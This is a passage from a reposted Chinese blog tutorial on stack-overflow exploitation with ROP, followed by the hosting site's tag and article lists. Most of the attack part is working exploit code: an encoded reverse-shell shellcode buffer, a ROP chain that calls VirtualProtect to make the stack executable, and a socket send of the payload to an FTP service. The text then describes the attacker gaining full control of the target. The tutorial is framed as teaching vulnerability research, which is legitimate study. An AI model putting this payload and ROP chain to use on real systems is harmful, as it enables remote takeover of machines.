buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"

rop = struct.pack ('<L',0x7c349614)   # ret
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffcdf)   #
rop += struct.pack('<L',0x7c379c10)   # add ebp,eax
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffdff)   # value = https://www.cnblogs.com/LyShark/archive/2023/07/12/0x201
rop += struct.pack('<L',0x7c353c73)   # neg eax
rop += struct.pack('<L',0x7c34373a)   # pop ebx
rop += struct.pack('<L',0xffffffff)   #
rop += struct.pack('<L',0x7c345255)   # inc ebx
rop += struct.pack('<L',0x7c352174)   # add ebx,eax
rop += struct.pack('<L',0x7c344efe)   # pop edx
rop += struct.pack('<L',0xffffffc0)   # 0x40h
rop += struct.pack('<L',0x7c351eb1)   # neg edx
rop += struct.pack('<L',0x7c36ba51)   # pop ecx
rop += struct.pack('<L',0x7c38f2f4)   # &writetable
rop += struct.pack('<L',0x7c34a490)   # pop edi
rop += struct.pack('<L',0x7c346c0b)   # ret (rop nop)
rop += struct.pack('<L',0x7c352dda)   # pop esi
rop += struct.pack('<L',0x7c3415a2)   # jmp [eax]
rop += struct.pack('<L',0x7c34d060)   # pop eax
rop += struct.pack('<L',0x7c37a151)   # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed)   # jmp esp 原始EIP地址

sock.send(command + buffer + rop + nops + buf)
sock.close()

此時我們回到被攻擊主機,并通過x64DBG附加除錯FTP服務程式,然后手動在第一條鏈上下斷點0x7c349614然后運行攻擊腳本,觀察堆疊的變化,

如下圖就是運行后的堆疊,你可以清晰的看到堆疊,堆疊頂的41414141就是我們填充的合法指令,而接著下方就是我們構建的ROP鏈,當執行完這條鏈的時候此時的當前的堆疊就會被賦予可執行權限;

最后呼叫0x625011ed也就是jmp esp跳轉到下方連續的0x90NOP墊片位置,此時當墊片被執行完畢,就會順利的執行我們所布置好的ShellCode反彈后門,

繼續跟隨,Nop墊片結束后則滑向ShellCode后門代碼片段,則此時后門就被順利運行了,如下圖所示;

通過按下F9讓程式直接運行起來,此時回到攻擊主機,則此時會看到我們已經拿到了主機的完整控制權;

至此筆者已經展示了漏洞挖掘的具體實作細節,在真正的漏洞挖掘場景中其思路與上述案例完全一致,本案例也僅僅只是讓讀者能夠理解漏洞的產生,以及如何挖掘,并以此揭秘讀者心中的疑惑, 同時在實際的漏洞挖掘中,讀者也需要遵循一些基本的原則,例如:

  • 掌握相關技術:漏洞挖掘需要掌握相關的技術,例如程式分析、二進制分析、網路協議等等,這些技術能夠幫助你識別可能存在的漏洞,
  • 熟悉目標:了解目標系統的結構、代碼庫、協議等資訊,有助于快速定位漏洞,
  • 使用工具:使用專門的工具可以提高效率和準確性,例如漏洞掃描器、反匯編器、除錯器等等,
  • 堅持實踐:漏洞挖掘需要不斷地實踐和嘗試,通過不斷的學習和實踐,才能提高自己的技能和能力,

總之,漏洞挖掘是一項需要技術和經驗的作業,需要不斷學習和實踐,才能取得好的成果,也希望讀者能多多實踐,早日成為漏洞挖掘專業人士;

原文地址

https://www.lyshark.com/post/a3c91ef.html

文章作者:lyshark (王瑞)
文章出處:https://www.cnblogs.com/LyShark/p/17546546.html
本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/557147.html

標籤:其他

上一篇:批量解壓上傳SAP Note

下一篇:返回列表

標籤雲
其他(162486) Python(38274) JavaScript(25531) Java(18294) C(15241) 區塊鏈(8275) C#(7972) AI(7469) 爪哇(7425) MySQL(7296) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5876) 数组(5741) R(5409) Linux(5347) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4616) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2439) ASP.NET(2404) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) HtmlCss(1998) .NET技术(1987) 功能(1967) Web開發(1951) C++(1942) python-3.x(1918) 弹簧靴(1913) xml(1889) PostgreSQL(1883) .NETCore(1863) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • IEEE1588PTP在數字化變電站時鐘同步方面的應用

    IEEE1588ptp在數字化變電站時鐘同步方面的應用 京準電子科技官微——ahjzsz 一、電力系統時間同步基本概況 隨著對IEC 61850標準研究的不斷深入,國內外學者提出基于IEC61850通信標準體系建設數字化變電站的發展思路。數字化變電站與常規變電站的顯著區別在于程序層傳統的電流/電壓互 ......

    uj5u.com 2020-09-10 03:51:52 more
  • HTTP request smuggling CL.TE

    CL.TE 簡介 前端通過Content-Length處理請求,通過反向代理或者負載均衡將請求轉發到后端,后端Transfer-Encoding優先級較高,以TE處理請求造成安全問題。 檢測 發送如下資料包 POST / HTTP/1.1 Host: ac391f7e1e9af821806e890 ......

    uj5u.com 2020-09-10 03:52:11 more
  • 網路滲透資料大全單——漏洞庫篇

    網路滲透資料大全單——漏洞庫篇漏洞庫 NVD ——美國國家漏洞庫 →http://nvd.nist.gov/。 CERT ——美國國家應急回應中心 →https://www.us-cert.gov/ OSVDB ——開源漏洞庫 →http://osvdb.org Bugtraq ——賽門鐵克 →ht ......

    uj5u.com 2020-09-10 03:52:15 more
  • 京準講述NTP時鐘服務器應用及原理

    京準講述NTP時鐘服務器應用及原理京準講述NTP時鐘服務器應用及原理 安徽京準電子科技官微——ahjzsz 北斗授時原理 授時是指接識訓通過某種方式獲得本地時間與北斗標準時間的鐘差,然后調整本地時鐘使時差控制在一定的精度范圍內。 衛星導航系統通常由三部分組成:導航授時衛星、地面檢測校正維護系統和用戶 ......

    uj5u.com 2020-09-10 03:52:25 more
  • 利用北斗衛星系統設計NTP網路時間服務器

    利用北斗衛星系統設計NTP網路時間服務器 利用北斗衛星系統設計NTP網路時間服務器 安徽京準電子科技官微——ahjzsz 概述 NTP網路時間服務器是一款支持NTP和SNTP網路時間同步協議,高精度、大容量、高品質的高科技時鐘產品。 NTP網路時間服務器設備采用冗余架構設計,高精度時鐘直接來源于北斗 ......

    uj5u.com 2020-09-10 03:52:35 more
  • 詳細解讀電力系統各種對時方式

    詳細解讀電力系統各種對時方式 詳細解讀電力系統各種對時方式 安徽京準電子科技官微——ahjzsz,更多資料請添加VX 衛星同步時鐘是我京準公司開發研制的應用衛星授時時技術的標準時間顯示和發送的裝置,該裝置以M國全球定位系統(GLOBAL POSITIONING SYSTEM,縮寫為GPS)或者我國北 ......

    uj5u.com 2020-09-10 03:52:45 more
  • 如何保證外包團隊接入企業內網安全

    不管企業規模的大小,只要企業想省錢,那么企業的某些服務就一定會采用外包的形式,然而看似美好又經濟的策略,其實也有不好的一面。下面我通過安全的角度來聊聊使用外包團的安全隱患問題。 先看看什么服務會使用外包的,最常見的就是話務/客服這種需要大量重復性、無技術性的服務,或者是一些銷售外包、特殊的職能外包等 ......

    uj5u.com 2020-09-10 03:52:57 more
  • PHP漏洞之【整型數字型SQL注入】

    0x01 什么是SQL注入 SQL是一種注入攻擊,通過前端帶入后端資料庫進行惡意的SQL陳述句查詢。 0x02 SQL整型注入原理 SQL注入一般發生在動態網站URL地址里,當然也會發生在其它地發,如登錄框等等也會存在注入,只要是和資料庫打交道的地方都有可能存在。 如這里http://192.168. ......

    uj5u.com 2020-09-10 03:55:40 more
  • [GXYCTF2019]禁止套娃

    git泄露獲取原始碼 使用GET傳參,引數為exp 經過三層過濾執行 第一層過濾偽協議,第二層過濾帶引數的函式,第三層過濾一些函式 preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'] (?R)參考當前正則運算式,相當于匹配函式里的引數 因此傳遞 ......

    uj5u.com 2020-09-10 03:56:07 more
  • 等保2.0實施流程

    流程 結論 ......

    uj5u.com 2020-09-10 03:56:16 more
最新发布
  • 5.2 基于ROP漏洞挖掘與利用

    通常情況下堆疊溢位可能造成的后果有兩種,一類是本地提權另一類則是遠程執行任意命令,通常C/C++并沒有提供智能化檢查用戶輸入是否合法的功能,同時程式撰寫人員在撰寫代碼時也很難始終檢查堆疊是否會發生溢位,這就給惡意代碼的溢位提供了的條件,利用溢位攻擊者可以控制程式的執行流,從而控制程式的執行程序并實施惡意... ......

    uj5u.com 2023-07-13 08:24:38 more
  • 批量解壓上傳SAP Note

    最近在做印度GST相關的東西,需要手動給系統實施上百個SAP Note,十分繁瑣。 標準事務代碼SNOTE只支持每次上傳一個Note,逐個上傳大量Note會很麻煩,為此摸索出一個批量解壓上傳的流程,下面是細節。 0,去SAP網站下載Note檔案 1,準備好SAR檔案,如 '0002407980_00 ......

    uj5u.com 2023-07-13 08:23:41 more
  • 5.2 基于ROP漏洞挖掘與利用

    通常情況下堆疊溢位可能造成的后果有兩種,一類是本地提權另一類則是遠程執行任意命令,通常C/C++并沒有提供智能化檢查用戶輸入是否合法的功能,同時程式撰寫人員在撰寫代碼時也很難始終檢查堆疊是否會發生溢位,這就給惡意代碼的溢位提供了的條件,利用溢位攻擊者可以控制程式的執行流,從而控制程式的執行程序并實施惡意... ......

    uj5u.com 2023-07-12 09:09:11 more
  • 前端Vue仿美團地址管理組件串列組件 可用于電商平臺識訓地址管

    隨著技術的發展,開發的復雜度也越來越高,傳統開發方式將一個系統做成了整塊應用,經常出現的情況就是一個小小的改動或者一個小功能的增加可能會引起整體邏輯的修改,造成牽一發而動全身。 通過組件化開發,可以有效實作單獨開發,單獨維護,而且他們之間可以隨意的進行組合。大大提升開發效率低,降低維護成本。 組件化 ......

    uj5u.com 2023-07-12 08:48:35 more
  • 前端Vue自定義精美steps步驟條進度條插件 物流資訊跟蹤展示組件

    隨著技術的發展,開發的復雜度也越來越高,傳統開發方式將一個系統做成了整塊應用,經常出現的情況就是一個小小的改動或者一個小功能的增加可能會引起整體邏輯的修改,造成牽一發而動全身。 通過組件化開發,可以有效實作單獨開發,單獨維護,而且他們之間可以隨意的進行組合。大大提升開發效率低,降低維護成本。 組件化 ......

    uj5u.com 2023-07-12 08:48:31 more
  • 記錄--盤點前端實作檔案下載的幾種方式

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 前端涉及到的檔案下載還是很多應用場景的,那么前端檔案下載有多少種方式呢?每種方式有什么優缺點呢?下面就來一一介紹。 1. 使用 a 標簽下載 通過a標簽的download屬性來實作檔案下載,這種方式是最簡單的,也是我們比較常用的方式,先來 ......

    uj5u.com 2023-07-12 08:48:24 more
  • vue2基礎 入門vue2

    # vue基礎 - vue專案搭建 - vue單檔案組件 - mustach運算式 - vue指令 - methods方法 - filters過濾器 - computed計算屬性 - watch監聽器 - vue組件 - vue-router 路由 - vue生命周期 - vue組件通信 - slo ......

    uj5u.com 2023-07-12 08:48:12 more
  • js中字串的方法

    字串的17種方法。。。。。。 length:回傳字串的長度。 const str = "Hello, World!"; console.log(str.length); // 輸出 13 charAt(index):回傳指定索引位置的字符。 const str = "Hello, World!" ......

    uj5u.com 2023-07-12 08:47:01 more
  • vue3中父組件與組件之間引數傳遞,使用(defineProps/defineEmits),

    ## Vue3 中子父組件之間的通信 ### 一、父組件傳遞引數到子組件 采用defineProps #### 傳遞屬性 父組件: ```vue 這是父組件 父組件像子組件傳遞引數 傳遞屬性值 ``` 子組件: ```vue 這是子組件 屬性值接收區 父組件傳值接收區:字符型:{{ fatherMe ......

    uj5u.com 2023-07-12 08:46:58 more
  • 基于分步表單的實踐探索

    >我們是[袋鼠云數堆疊 UED 團隊](http://ued.dtstack.cn/),致力于打造優秀的一站式資料中臺產品。我們始終保持工匠精神,探索前端道路,為社區積累并傳播經驗價值。。 >本文作者:修能 ***以下內容充滿個人觀點。? ヽ(`Д´)? ┻━┻*** # 前言 基于分布表單的需求,在 ......

    uj5u.com 2023-07-12 08:46:52 more